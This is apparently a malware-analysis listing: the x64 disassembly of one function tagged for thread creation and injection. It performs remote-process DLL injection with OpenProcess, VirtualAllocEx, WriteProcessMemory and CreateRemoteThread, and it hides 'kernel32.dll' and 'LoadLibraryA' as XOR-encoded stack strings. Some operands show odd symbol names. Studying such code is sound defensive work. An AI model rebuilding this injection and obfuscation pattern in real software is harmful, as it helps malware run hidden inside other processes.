Function at 0x140006400
Capabilities:
Create thread
Inject thread

Disassembly:
mov qword [rsp + 8], rcx
push rbp
push rbx
push r12
mov rbp, rsp
sub rsp, 0x70
mov rbx, rdx
mov ecx, 0x1fffff
xor edx, edx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0x20], rax
mov r12, rax
test rax, rax
jne 0x140006435
add rsp, 0x70
pop r12
pop rbx
pop rbp
ret
mov r8, qword [rbx + 0x10]
xor edx, edx
inc r8
mov qword [rsp + 0xa8], r13
mov r9d, 0x1000
mov dword [rsp + 0x20], 4
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r13, rax
test rax, rax
je 0x140006671
mov r9, qword [rbx + 0x10]
mov qword [rsp + 0x98], rsi
inc r9
cmp qword [rbx + 0x18], 0xf
mov qword [rsp + 0xa0], rdi
mov qword [rsp + 0x68], r14
mov qword [rsp + 0x60], r15
jbe 0x140006494
mov rbx, qword [rbx]
mov r8, rbx
mov qword [rsp + 0x20], 0
mov rdx, r13
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor r10b, r10b
mov byte [rbp - 0x20], 0x69
xor r10b, 0x69
mov byte [rbp - 0x30], 0x37
mov al, 0x25
mov byte [rbp - 0x1a], r10b
movzx r9d, al
mov r10b, 0x5b
xor r9b, 0x69
xor al, 0x69
mov dl, 8
mov byte [rbp - 0x1b], r9b
movzx edi, dl
mov byte [rbp - 0x1f], al
xor dil, 0x69
xor dl, 0x69
mov bl, 0x1b
mov byte [rbp - 0x17], dil
movzx esi, bl
mov byte [rbp - 0x1d], dl
xor bl, 0x69
xor sil, 0x69
mov byte [rbp - 0x18], bl
xor r12d, r12d
mov byte [rbp - 0x16], sil
mov cl, 6
xor cl, 0x69
mov byte [rbp - 0x13], r12b
mov byte [rbp - 0x1e], cl
mov r8b, ntohs
xor r8b, 0x69
mov cl, 0x52
mov byte [rbp - 0x1c], r8b
movzx r9d, cl
xor r9b, 0x37
xor cl, 0x37
mov r11b, 0xb
mov byte [rbp - 0x2e], cl
xor r11b, 0x69
mov byte [rbp - 0x2b], r9b
mov byte [rbp - 0x19], r11b
mov r14b, reloc.WS2_32.dll_recv
xor r14b, 0x69
mov r15b, 0x28
xor r15b, 0x69
mov byte [rbp - 0x15], r14b
movzx r14d, r10b
mov byte [rbp - 0x14], r15b
movzx r15d, r10b
xor r14b, 0x37
xor r10b, 0x37
mov byte [rbp - 0x25], r14b
mov dil, 0x19
mov byte [rbp - 0x2a], r10b
xor dil, 0x37
mov al, 0x5c
xor al, 0x37
mov byte [rbp - 0x27], dil
mov dl, 0x45
mov byte [rbp - 0x2f], al
xor dl, 0x37
mov r8b, 0x59
xor r8b, 0x37
mov byte [rbp - 0x2d], dl
mov r11b, 4
mov byte [rbp - 0x2c], r8b
xor r11b, 0x37
mov bl, 5
xor bl, 0x37
mov byte [rbp - 0x29], r11b
mov sil, 0x53
mov byte [rbp - 0x28], bl
xor sil, 0x37
xor r15b, 0x37
mov byte [rbp - 0x26], sil
mov byte [rbp - 0x24], r15b
lea rcx, [rbp - 0x2f]
mov byte [rbp - 0x23], r12b
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp - 0x1f]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, qword [rsp + 0x60]
mov r14, qword [rsp + 0x68]
mov rdi, qword [rsp + 0xa0]
mov rsi, qword [rsp + 0x98]
mov r12, qword [rbp + 0x20]
test rax, rax
je 0x14000665c
xor ecx, ecx
mov r9, rax
mov qword [rsp + 0x30], rcx
xor r8d, r8d
mov dword [rsp + 0x28], ecx
xor edx, edx
mov rcx, r12
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rbx, rax
test rax, rax
je 0x14000665c
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r13
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r13, qword [rsp + 0xa8]
mov al, 1
add rsp, 0x70
pop r12
pop rbx
pop rbp
ret
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r13
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r13, qword [rsp + 0xa8]
xor al, al
add rsp, 0x70
pop r12
pop rbx
pop rbp
ret